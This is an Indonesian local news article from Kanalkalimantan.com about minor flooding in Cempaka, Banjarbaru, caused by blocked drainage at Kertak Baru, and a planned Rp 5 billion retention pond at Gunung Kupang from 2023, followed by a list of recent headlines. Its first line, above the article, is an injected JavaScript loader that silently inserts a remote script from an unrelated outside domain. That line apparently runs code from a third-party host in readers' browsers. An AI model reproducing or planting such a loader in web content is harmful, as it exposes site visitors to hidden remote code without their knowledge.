(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Aliran Air Terhambat Pemicu Banjir Skala Kecil di Cempaka, PUPR Siapkan Embung Baru!


KANALKALIMANTAN.COM, BANJARBARU – Dalam beberapa hari terakhir, cuaca hujan yang melanda wilayah Kota Banjarbaru mengakibatkan terjadinya banjir skala kecil di Kecamatan Cempaka pada Senin (7/3/2022) sore. Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) mencatat faktor utama penyebab kejadian tersebut.

Plt Kepala Dinas PUPR Banjarbaru Eka Yuliesda, melalui Kepala Bidang Sumber Daya Air (SDA) Subrianto, mengungkapkan adanya aliran air tidak lancar di Kecamatan Cempaka, khususnya di Kertak Baru. Hal itu membuat debit air terus meningkat seiring dengan intensitas yang cukup tinggi dan akhirnya meluber ke perumahan warga.

“Aliran air terhambat di kawasan Kertak Baru. Jadi air tidak bisa masuk ke embung Cempaka dan akhirnya menggenangi beberapa rumah warga. Bisa dibilang banjir, tapi dalam skala kecil,” katanya, Jumat (11/3/2022).

Subrianto memastikan bahwa embung Cempaka sebenarnya berfungsi optimal dan masih mampu menampung curah hujan saat itu. Bahkan, masalah terjadinya hambatan aliran air di Kertak Baru sendiri juga telah diketahui Dinas PUPR sejak lama.

 

Baca juga : Benahi Berbagai Sektor, Wujudkan Tanah Bumbu menjadi Serambi Madinah

“Kami sebenarnya sudah lama tau kalau ada masalah hambatan air ini. Pada tahun 2020, sebenarnya di sana kita upayakan pembuatan sodetan. Tapi akhirnya tidak bisa dilaksanakan karena ada penolakan dari warga sekitar,” terangnya.

Musibah banjir di Kecamatan Cempaka yang sangat mendominasi di Kota Banjarbaru telah menjadi atensi tersendiri bagi Dinas PUPR. Pembangunan embung baru diklaim menjadi solusi jangka panjang mengatasi persoalan tersebut.

Dikatakan Subrianto, rencana pembangunan embung baru di wilayah Kecamatan Cempaka kini sudah sampai pada proses penjajakan lokasi lahan. Dalam hal ini, ia menyebut lokasi pembangunan berada di area Gunung Kupang dengan pagu anggaran mencapai Rp 5 miliar.

“Luas lahan pembangunan mencapai 2 sampai 3 hektare. Pembangunan dimulai pada 2023 mendatang. Dalam prosesnya kita dibantu konsultan serta adanya pendampingan dari pihak BPN dan Kejaksaan. Doakan semoga berjalan lancar,” tuntasnya. (Kanalkalimantan.com/al)

Reporter  : al
Editor  : kk


Desy Arfianty

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

7 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

7 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

8 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

8 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

8 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

9 jam ago

This website uses cookies.